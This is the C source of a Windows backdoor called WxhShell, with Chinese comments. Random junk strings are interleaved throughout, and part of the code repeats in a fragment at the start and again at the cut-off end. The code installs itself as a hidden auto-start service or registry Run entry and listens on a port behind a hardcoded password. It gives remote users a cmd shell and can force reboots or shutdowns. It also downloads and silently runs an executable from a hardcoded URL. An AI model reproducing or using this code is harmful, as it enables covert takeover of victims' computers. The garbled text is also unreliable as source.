(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _F|_C5A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u FYQ^ VF!kr1n! if (!NtQueryInformationProcess) return 0; zc,9Qfn Z=t#*"J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &CeF^ if(!hProcess) return 0; ^Lv^W 6$vh qg}f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $?A Uk gZ >orZL' CloseHandle(hProcess); xEZVsz ; 7v7V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Cpxo9- if(hProcess==NULL) return 0; 09;'z RdVis|7o HMODULE hMod; Rb}&c)4 char procName[255]; R6@~ unsigned long cbNeeded; _DvPF~ b=
ec?n #7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s1vYZ
X-r,>o: CloseHandle(hProcess); b%jG?HSu =qR7-Q8B if(strstr(procName,"services")) return 1; // 以服务启动 2l/5i]Tq K2o0L5Lke return 0; // 注册表启动 y~ 4nF } 6V6g{6W,/ k|c0tvp // 主模块 uZ?CVluP int StartWxhshell(LPSTR lpCmdLine) V?z{UZkR
{ `k%#0E*H SOCKET wsl; P7.8tM2} BOOL val=TRUE; Bsk2&17z int port=0; z.Kq}r ^ struct sockaddr_in door; OQ&D?2r -/2$P if(wscfg.ws_autoins) Install(); +C;#Qf {1U*:@j port=atoi(lpCmdLine); C2|2XL'l(C ^Ro
du if(port<=0) port=wscfg.ws_port; @ ZPTf>J} G$`4.,g WSADATA data; Ty:Ir if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` +UMZc N4DDH^h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bYB}A: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v oS"X
door.sin_family = AF_INET; >!F,y3"5S door.sin_addr.s_addr = inet_addr("127.0.0.1"); zXU{p\;)\ door.sin_port = htons(port); Z=[a 8CU 17]31 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D2cIVx3:( closesocket(wsl); EI+/%., return 1; 9v,8OK) } ZboJszNb; D %
,yA if(listen(wsl,2) == INVALID_SOCKET) { >683 4e closesocket(wsl); Vzm+Ew
_ return 1; 24/~gft } xxcDd_z Wxhshell(wsl); o (NyOC WSACleanup(); $<mL2$.L~ .(]1PKW return 0; 2]*~1d lj*913aFh } CHP6H}#|g n<&R"89 // 以NT服务方式启动 j|dzd<kE6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #%tL8/K* { o xu9v/ DWORD status = 0; gt (nZ DWORD specificError = 0xfffffff; e`1s[ ^B DC7}Xly( serviceStatus.dwServiceType = SERVICE_WIN32; yOz Kux8kB serviceStatus.dwCurrentState = SERVICE_START_PENDING; n(S-F g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; me^Gk/`Em serviceStatus.dwWin32ExitCode = 0; f_XCO=8'v serviceStatus.dwServiceSpecificExitCode = 0; yS3s5C{C serviceStatus.dwCheckPoint = 0; =Fl4tY#X serviceStatus.dwWaitHint = 0; %k)I=| 08jQq# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;#yz i2f if (hServiceStatusHandle==0) return; &bu`\|V FWTl:LqFO status = GetLastError(); 1M+!cX if (status!=NO_ERROR) tTp`e0L*m { O#Hz5A5 serviceStatus.dwCurrentState = SERVICE_STOPPED; @sO.g_yM serviceStatus.dwCheckPoint = 0; :''0z serviceStatus.dwWaitHint = 0; kcUt!PL serviceStatus.dwWin32ExitCode = status; OAOmd
4 serviceStatus.dwServiceSpecificExitCode = specificError; 0M -AIQ5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); kA`qExw% return; J<@]7)|U } o!S_j^p[C T/5UlW|\ serviceStatus.dwCurrentState = SERVICE_RUNNING; >z$|O> j serviceStatus.dwCheckPoint = 0; 8, ^UQ5x serviceStatus.dwWaitHint = 0; I =pd jD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (6'Hzl^ Kp } J1t?Qj;f3 !/j|\_O // 处理NT服务事件,比如:启动、停止 UU`qI}Ys8F VOID WINAPI NTServiceHandler(DWORD fdwControl) wE2?/wb { e~dU " switch(fdwControl) q1Mk_(4oJ { cG6+'=]3< case SERVICE_CONTROL_STOP: :+$_(*Z serviceStatus.dwWin32ExitCode = 0; c2"OpI serviceStatus.dwCurrentState = SERVICE_STOPPED; pUx@ QyrI serviceStatus.dwCheckPoint = 0; m%puD9 serviceStatus.dwWaitHint = 0; `0N/
/Q { dtm@G|Ij SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4r$t}t
gX } p9J( ,} return; \W!<xE case SERVICE_CONTROL_PAUSE: d[de5Xra serviceStatus.dwCurrentState = SERVICE_PAUSED; ;d:7\ break; []NAV case SERVICE_CONTROL_CONTINUE: d1N&J`R\1 serviceStatus.dwCurrentState = SERVICE_RUNNING; ;$]R#1i44 break; M:N>{_1& case SERVICE_CONTROL_INTERROGATE: $[e*0!e break; #=rI[KI }; wqsnyP/m SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'yqp } xi0&"?7la %'
Fc%3 // 标准应用程序主函数 xk9]jQ7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j*nCIxF { 8dfx _kY`/ -xXM/3g1u // 获取操作系统版本 6|9fcIh]B OsIsNt=GetOsVer(); JdnZY.{S0 GetModuleFileName(NULL,ExeFile,MAX_PATH); <?eZ9eB +%^D) // 从命令行安装 q#1um
@m3 if(strpbrk(lpCmdLine,"iI")) Install(); 1'=brc YR SU^/qF%8 // 下载执行文件 >r3Wo%F' if(wscfg.ws_downexe) { TQFD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^?,/_ 3 WinExec(wscfg.ws_filenam,SW_HIDE); f7L |Jc } y}|zH 6Dch+*4*@ if(!OsIsNt) { {=kA8U // 如果时win9x,隐藏进程并且设置为注册表启动 lVtgg? HideProc(); na~ r}77o StartWxhshell(lpCmdLine); a)xN(xp## } [}Nfs3IlBw else 6sntwT"? if(StartFromService()) .w`8_v &Y // 以服务方式启动 F4@h}T5) StartServiceCtrlDispatcher(DispatchTable); 5D'8 l@7 else 5s0H4 ?S // 普通方式启动 tNtP+v-{ StartWxhshell(lpCmdLine); {It4=I)M aJ2-BRn return 0;
n1v%S"^ } \K?3LtJ PR Y)hb;1 ]wP)!UZ K[sfsWQ. =========================================== U7Ps2~x3 _M7AQ5 [!v:fj @wB$qd;v \!-X&ws i~4:]r22 " Yx,
N3E=t#n #include <stdio.h> :.@gd7T #include <string.h> Z_S~#[\7^] #include <windows.h> norWNm(n #include <winsock2.h> 8c#u"qF #include <winsvc.h> x3]es"4Q #include <urlmon.h> #Ez>]`]TB ;]|Z8#s #pragma comment (lib, "Ws2_32.lib") fAJQ8nb{@] #pragma comment (lib, "urlmon.lib") op[5]tjL :H6Ipa #define MAX_USER 100 // 最大客户端连接数 IGVNX2 #define BUF_SOCK 200 // sock buffer ppS,9e- #define KEY_BUFF 255 // 输入 buffer #;H+Kb5O U$qSMkj6RK #define REBOOT 0 // 重启 3:!+B=woR #define SHUTDOWN 1 // 关机 :o=[Zp~B4d 'a*tee ^RS #define DEF_PORT 5000 // 监听端口 >lRX+? jg#%h` #define REG_LEN 16 // 注册表键长度 z6$W@-Vd #define SVC_LEN 80 // NT服务名长度 cs,%Zk.xjw we!}"'E; // 从dll定义API ]V?\Qv/.= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2?#IwT' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rm<(6zY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eXUXoK=T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?$v#;n?@I q B5cF_ // wxhshell配置信息 8v_HIx0xu struct WSCFG { 9PIm/10pP^ int ws_port; // 监听端口 u-=%gx"Di char ws_passstr[REG_LEN]; // 口令 '*|Wi}0R int ws_autoins; // 安装标记, 1=yes 0=no noV]+1#"V char ws_regname[REG_LEN]; // 注册表键名 1 f).J char ws_svcname[REG_LEN]; // 服务名 hU@9vU<U char ws_svcdisp[SVC_LEN]; // 服务显示名 UJ<eF/KSmG char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q3*@m char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tt<Ry'Z$3 int ws_downexe; // 下载执行标记, 1=yes 0=no ]G#og)z4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e}D#vPaSY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?>LsIPa vE^Hk!^ }; |/5j0 Tn8Z2iC // default Wxhshell configuration 0ZlF#PJA struct WSCFG wscfg={DEF_PORT, qQv?J]l "xuhuanlingzhe", [R TB|0Q 1, 4Bsx[~ u& "Wxhshell", c%n[v3] "Wxhshell", 1$vsw "WxhShell Service", \q(DlqTqs "Wrsky Windows CmdShell Service", {W*_^>;K "Please Input Your Password: ", gx~79;6 1, 8:E)GhX "http://www.wrsky.com/wxhshell.exe", 9un* 1% "Wxhshell.exe" Yz4)Q1 }; r^3/Ltd5/ No#1Ik w // 消息定义模块
c]3% wL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s8 S[w char *msg_ws_prompt="\n\r? for help\n\r#>"; O&h3=?O&B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *[K\_F?^h char *msg_ws_ext="\n\rExit."; M5DQ{d<r char *msg_ws_end="\n\rQuit."; ODa+s>a`^ char *msg_ws_boot="\n\rReboot..."; )pELCk char *msg_ws_poff="\n\rShutdown..."; :KY920/, char *msg_ws_down="\n\rSave to "; k=">2!O/ "#Ov!t char *msg_ws_err="\n\rErr!"; r,F~Vwa} char *msg_ws_ok="\n\rOK!"; m]LR4V6k| G\8ps~3T char ExeFile[MAX_PATH]; N 3IF j int nUser = 0; I>k>^ HANDLE handles[MAX_USER]; "eWN52 int OsIsNt; hQ!sl O *2O4 *Q1 SERVICE_STATUS serviceStatus; Rpit> SERVICE_STATUS_HANDLE hServiceStatusHandle; x \qS|q\N &
[)1LRt_ // 函数声明 w*.q t<rH) int Install(void); >t2E034_ int Uninstall(void); [n/'JeG5 int DownloadFile(char *sURL, SOCKET wsh); ZKKz?reM' int Boot(int flag); e%VJ:Dj void HideProc(void); [jl'5l d int GetOsVer(void); ` aTkIo:ms int Wxhshell(SOCKET wsl); fm2,Mx6 void TalkWithClient(void *cs); s^KUe%am0 int CmdShell(SOCKET sock); jg8j>"Vj> int StartFromService(void); rK%<2i int StartWxhshell(LPSTR lpCmdLine); O!+LM{>
F @NMFurm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h?wNmLre VOID WINAPI NTServiceHandler( DWORD fdwControl ); %OW LM uSSnr#i^j // 数据结构和表定义 *ayn<Vlh`^ SERVICE_TABLE_ENTRY DispatchTable[] = uG1
1~uAt { `+17x<N {wscfg.ws_svcname, NTServiceMain}, (p<QRb:&Z {NULL, NULL} b9uo6u4s }; %lZ++?&^ 4`@]jm // 自我安装 MCHRNhb9 int Install(void) 2 g"_*[ { 0'!v-`. char svExeFile[MAX_PATH]; @/}{Trmg/ HKEY key; |fdr\t#'~ strcpy(svExeFile,ExeFile); R
}M'D15 X%"P0P // 如果是win9x系统,修改注册表设为自启动 Q+|8|V}w if(!OsIsNt) { Zd@'s.,J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / G$8 j$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dzDh V{ RegCloseKey(key); %zE_Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A#~"Gp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9`}Wp2 RegCloseKey(key); Ko6tp9G return 0; Z;shFMu } iorKS+w" } Izq]nR } {<~0nLyJS else { 8[i#x|`g CBx 1.xL // 如果是NT以上系统,安装为系统服务 s~Wj h7' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5)4*J. if (schSCManager!=0) $Tu%dE(OF { :)}iWKAse SC_HANDLE schService = CreateService quc?]rb ( ~k+"!'1 schSCManager, 7uJy<O
wscfg.ws_svcname, Z"#ysC wscfg.ws_svcdisp, fI}Z`* SERVICE_ALL_ACCESS, Mj |)KDL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1\q(xka{ SERVICE_AUTO_START, -xq)brG SERVICE_ERROR_NORMAL, ~PaD _W#xP svExeFile, e8gJ }8Fj NULL, !zLd,` NULL, _Hi;Y NULL, "L.)ML NULL, :FwXoJc_+5 NULL @B5@3zYs ); K"Vv= if (schService!=0) aKS
2p3 { 'p-jMD}O CloseServiceHandle(schService); a#FkoA~M CloseServiceHandle(schSCManager); 1B=vrGq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '#xxjhF^ strcat(svExeFile,wscfg.ws_svcname); {YWj`K
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GdEkA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qu BTRW9 RegCloseKey(key); :s+AIo6 return 0; -h^FSW($-R } !uLAW_~ } X}p#9^%N CloseServiceHandle(schSCManager); WK0?$[|=r } wx -NUTRim } pl
Ii ^"v~hjM# return 1; QE84l } |vz<FR6 iN+Dmq5 // 自我卸载 [J\5DctX;c int Uninstall(void) %75|+((fC { 5p"n g8nR HKEY key; u /JEQz1 m'Z233Nt" if(!OsIsNt) { c.6u)"@$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ur={+0
y RegDeleteValue(key,wscfg.ws_regname); LdI) RegCloseKey(key); Ttn=VX{
\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P~redX=t@ RegDeleteValue(key,wscfg.ws_regname); ~cy/\/oO RegCloseKey(key); 'IP'g,o++ return 0; ].]yqD4P } xB]~%nC[O } 9X,dV7 yW } iHr{
VQ else { LD: w
wH cZ\#074u/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tvP_LN MF if (schSCManager!=0) ;4 R1 { 6hXL`A&}, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C>$5<bx if (schService!=0) ?;,s=2 { )+wBS3BC if(DeleteService(schService)!=0) { Xw`vf7z* CloseServiceHandle(schService); gR.zL>=_5e CloseServiceHandle(schSCManager); L{bcmo\U return 0; go m<V?$ } k^J~l=?v CloseServiceHandle(schService); 5xwztcR- } iN0pYqY* CloseServiceHandle(schSCManager); <?&GBCe } gHQ[D|zu } Km8btS]n gZ%B9i: return 1; ~1`.iA } "BK'<j^q -dsB@nPiUw // 从指定url下载文件 ,]i ^/fT int DownloadFile(char *sURL, SOCKET wsh) N)lzX X { |rH;}t|un HRESULT hr; f*Xonb char seps[]= "/"; |]RV[S3v char *token; ^-w:D char *file; p H5IBIf' char myURL[MAX_PATH]; sVZb[|zSri char myFILE[MAX_PATH]; $/}*HWVZ v$K`C; strcpy(myURL,sURL); ?1?^>M token=strtok(myURL,seps); _J }ce while(token!=NULL) G`ZpFg0Y { +[UFf3(ON file=token; HDIB GG~ token=strtok(NULL,seps); u
?7(A% } l\-1W2 mk~i (Ee GetCurrentDirectory(MAX_PATH,myFILE); 4HVZ;,q strcat(myFILE, "\\"); ME[Wg\ strcat(myFILE, file); :&mYz(1q send(wsh,myFILE,strlen(myFILE),0); 8Z4d<DIJ send(wsh,"...",3,0); $)mq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); df
nmUE if(hr==S_OK) = return 0; YPDc
/ else `)`_G!a return 1; 7ks09Cy Ms<^_\iPN } '&W`x5`t x +!<_p // 系统电源模块 4))u*c/, int Boot(int flag) @z EEX9U { _{8f^@I"+ HANDLE hToken; vz)A~"E TOKEN_PRIVILEGES tkp; aa_&WHXkt mq[(yR if(OsIsNt) { !3DWz6u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n]}+ : LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NS#qein~i tkp.PrivilegeCount = 1; Ig'Y]%Z0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {DI_i +2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +o?.<[>!GR if(flag==REBOOT) { H:`W\CP7_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rnIv|q6@ return 0; Mw?nIIu(@ } R9o:{U] else { W2wDSP- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vvm6T@b M8 return 0; [p$b@og/> } 1#^[{XlAx } 3LG}x/l else { nqBZp N^ if(flag==REBOOT) { k!xi
(l<C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =gGK24 3 return 0; Z"lL=0rY/ } .'lc[iI9)d else { (
]AErz+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xii*"n ~ return 0; J,;;`sf } +DF<o
U~ } Y">Q16( RT9fp(6* return 1; wC{=o`v } b/"gkFe# CUnZ}@?d // win9x进程隐藏模块 m/0G=%d%k void HideProc(void) dDi 1{s { [dk|lkj@u\ (dpBGt@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |QAmN>7U if ( hKernel != NULL ) 9=rYzA?)+ { oFoG+H"&7\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (^qcX;- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $B}(5Da FreeLibrary(hKernel); D@[$?^H } &'WgBjP PaMi5Pq return; 6:v8J1G(< } OA%.>^yb@ :lgIu . // 获取操作系统版本 2YuaPq/ int GetOsVer(void) K.o?g?&< { R
j(="+SPj OSVERSIONINFO winfo; }=?r`J+Ev; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kl(}s{YFn. GetVersionEx(&winfo); 8}xU]N#EV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PM9HfQU? return 1; dXe763~< else tI.(+-q return 0; -|J?- } }mu8fm' u+(e,t // 客户端句柄模块 &Radpb2p6 int Wxhshell(SOCKET wsl) /PPk
p9H{ { YlPZa3\ SOCKET wsh; pRMM1&H struct sockaddr_in client; IdzF<>;W DWORD myID; ZJy
D/9y lba*&j]w= while(nUser<MAX_USER)
;wW6x { *$`r)pV%AK int nSize=sizeof(client); 86R}G/>>e wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jG)>{D if(wsh==INVALID_SOCKET) return 1; G <Lm} O~'1)k> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); , LcMNP r if(handles[nUser]==0) cTRCQ+W6: closesocket(wsh); -7=pb#y else (e F5?I nUser++; t9 &O0tpe } "_?^uymw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9FWn #GWQ]r? return 0; JXPn
<
} Qf=%%5+?8 em>CSBx // 关闭 socket lFc3 5 void CloseIt(SOCKET wsh) X 8[T*L. { n>#h( closesocket(wsh); >!bYuVHA nUser--; !u7WCw.D m ExitThread(0); s-8>AW
ep } NA0hQGN} G1|
Tu"
// 客户端请求句柄 9F,jvCM63 void TalkWithClient(void *cs) veK { U(J?Q \7og&j-h SOCKET wsh=(SOCKET)cs; ]}'WNy6c&x char pwd[SVC_LEN]; rbP.N
?YU% char cmd[KEY_BUFF]; j$8~M char chr[1]; )dlt$VX int i,j; hp>me*vzr Y61E|:fV! while (nUser < MAX_USER) { P!]DV$o mtTJm4 if(wscfg.ws_passstr) { q=[0`--cd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B\<zU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 08.dV<P //ZeroMemory(pwd,KEY_BUFF); j?.VJ^Ff/u i=0; g$]9xn#_[ while(i<SVC_LEN) { $6Ty~.RP5H 9$)4C| // 设置超时 i<@|+*>M fd_set FdRead; =(hEr=f>7 struct timeval TimeOut; Zu+Z7@$}/ FD_ZERO(&FdRead); .@[+05Yw FD_SET(wsh,&FdRead); fx_7B ( TimeOut.tv_sec=8; DrB= TimeOut.tv_usec=0; <X;y
4lPZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nR
,j1IUF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VqYe0-^=P 9D
0ujup if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xpSMbX{e pwd=chr[0]; cFuvi^n\ if(chr[0]==0xd || chr[0]==0xa) { 0}w>8L7i{ pwd=0; `qr[0wM break; ea B-u } {@C+Js5 i++; 98V9AOgk } %tpt+N? J6f;dF^ // 如果是非法用户,关闭 socket *;4r|#LG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *SC~_ } ]Oe#S"-Oo &z,w0FOre send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MMcHzRF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #n0P'@d,r r5r K> while(1) { !".@Wg$ ! .!qJ% ZeroMemory(cmd,KEY_BUFF); _-&Au%QNJ` Zcdt\;HKr // 自动支持客户端 telnet标准 g*!2.P j=0; F"9qBl~ while(j<KEY_BUFF) { A$%%;O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2MJ0[9 cmd[j]=chr[0]; C}W/9_I6Uo if(chr[0]==0xa || chr[0]==0xd) { Imi_}NB+ cmd[j]=0; r@iGMJx$ break; 6g7 X1C } 5 {'%trDEy j++; ^oPf>\),C } DBVe69/S [NH[n# // 下载文件 'w!Hjq]$ if(strstr(cmd,"http://")) { \@tt$ m% send(wsh,msg_ws_down,strlen(msg_ws_down),0); V,&s$eQC if(DownloadFile(cmd,wsh)) 1C'lT,twl send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)%Vahu else N}zQ)]xz+r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "r.pU(uxt } =yvyd0|35 else { Nluy]h
& IO|">a6 switch(cmd[0]) { S'2B qnruatA // 帮助 _s<eqCBV case '?': { 8?P@<Do% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^tae
(} break; >/}v8k 1v } D.U)R7( // 安装 ZuILDevMD case 'i': { vM|?;QM if(Install()) 9cX
~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ysDfp'C, else
fW|1AUD, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rp.JYz, break; )!){4c/ } HhH[p E // 卸载 ,3!l'|0jJ case 'r': { ]SFB_5Gb if(Uninstall()) ,H'O`oV!1E send(wsh,msg_ws_err,strlen(msg_ws_err),0); -A[iTI" else {~.h;'m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JGHQ_AI break; QA+qFP } v1 d] // 显示 wxhshell 所在路径 JLp.bxx case 'p': { ^
RU"v> char svExeFile[MAX_PATH]; [mYmrLs6 strcpy(svExeFile,"\n\r"); w(]Q` strcat(svExeFile,ExeFile); 3&/5!zOg) send(wsh,svExeFile,strlen(svExeFile),0); UW8b(b[-6b break; 4xjk^N9 } 24}r;=U // 重启 sV@kQ:
case 'b': { @f-0OX$* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KcF2}+iM if(Boot(REBOOT)) 7N+No.vR. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#p [Q _ else { vq
B)PL5) closesocket(wsh); <*<7p{x ExitThread(0); T_lexX[\ } \/p\QT@mm break; EX7gTf# } NmthvKhH // 关机 a*0gd-e0@ case 'd': { P
1X8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B5hk]=Ud if(Boot(SHUTDOWN)) lY
yt8H send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>8=CiUE else { '=EaZ>= closesocket(wsh); 2VyLt=mdh ExitThread(0); +e. bO5Y } 6Daz1Pxd+ break; gmB?L0UV } *IJctYJaX // 获取shell J 6U3}SO=y case 's': { Dtl381F J CmdShell(wsh); hhLEU_U closesocket(wsh); ,kfUlv= ExitThread(0); ~rN~Ql%S break; "15mOW(!+ } @5K/z<p% // 退出 ^CX=< case 'x': { x>m_ v send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
#lRkp.e CloseIt(wsh); rIR~YMv! break; YQxVeS( } +FRXTku( // 离开 -&oJ@Aa case 'q': { 6":=p:PT. send(wsh,msg_ws_end,strlen(msg_ws_end),0); /xj^TyWM closesocket(wsh); RR>Q$K WSACleanup(); # kl?ww U exit(1); eL[BH8l break; USy^Y?~; } w?|gJ*B" } d#cw`h<c~ } 6|+I~zJ88 @JVax -N // 提示信息 z)I.^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G]X72R?g } #)QR^ss)iw } ~ \z7$9Q TC;2K,.#k return; ?a+>%uWt } 7KXc9:p+ (9$z+Zmm? // shell模块句柄 & F\HR int CmdShell(SOCKET sock) ('QfB<4H1 { J@ZIW%5 STARTUPINFO si; 9;KQ3.Fa}q ZeroMemory(&si,sizeof(si)); ~fbFA?g3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b7 %Z~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Zc8tE2oN PROCESS_INFORMATION ProcessInfo; b:VCr ^vp char cmdline[]="cmd"; KvW{M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;DbEP. %u$ return 0; hF|N81T } ?o307r PoTJ4z // 自身启动模式 Dz4e.tvN int StartFromService(void) }wZ9#Ll { 30 e>C typedef struct 5'=\$Ob { r/o1a't; DWORD ExitStatus; LCKCg[D
DWORD PebBaseAddress; ObJgJr DWORD AffinityMask; \>,[5|GU DWORD BasePriority; :98<dQIG ULONG UniqueProcessId; 2loy4f ULONG InheritedFromUniqueProcessId; !0i6:2nw } PROCESS_BASIC_INFORMATION; mAO$gHQ W6STjtT3P PROCNTQSIP NtQueryInformationProcess; TKJs'%Q7F6 ?}p~8{ ' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x~3N})T5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S~L;oX?(! &d}1)? HANDLE hProcess; ~^Ceru"< PROCESS_BASIC_INFORMATION pbi; ZbBz@1O qaE>]) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |7XPu if(NULL == hInst ) return 0; $#2zxpr, YO&=fd* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \piB*"ln g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ITpo:"X g NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1{%3OG^' \_GG6 if (!NtQueryInformationProcess) return 0; 5D9n>K4| s0EF{2<F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zoh%^8?o if(!hProcess) return 0; ]{sx#|_S 0<ze'FbV] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .5?e)o) G#uD CF,O CloseHandle(hProcess); S=f:-?N| !]#@:Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?LxBH-o( if(hProcess==NULL) return 0; >oD,wSYV~ kD}w5 U HMODULE hMod; A[7\!bq5 char procName[255]; v,}Mn7: unsigned long cbNeeded; C0O$iWs= Chso]N.1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q7#4e?1 FGRdA^` CloseHandle(hProcess); K$1(HbL -e2f8PV?3 if(strstr(procName,"services")) return 1; // 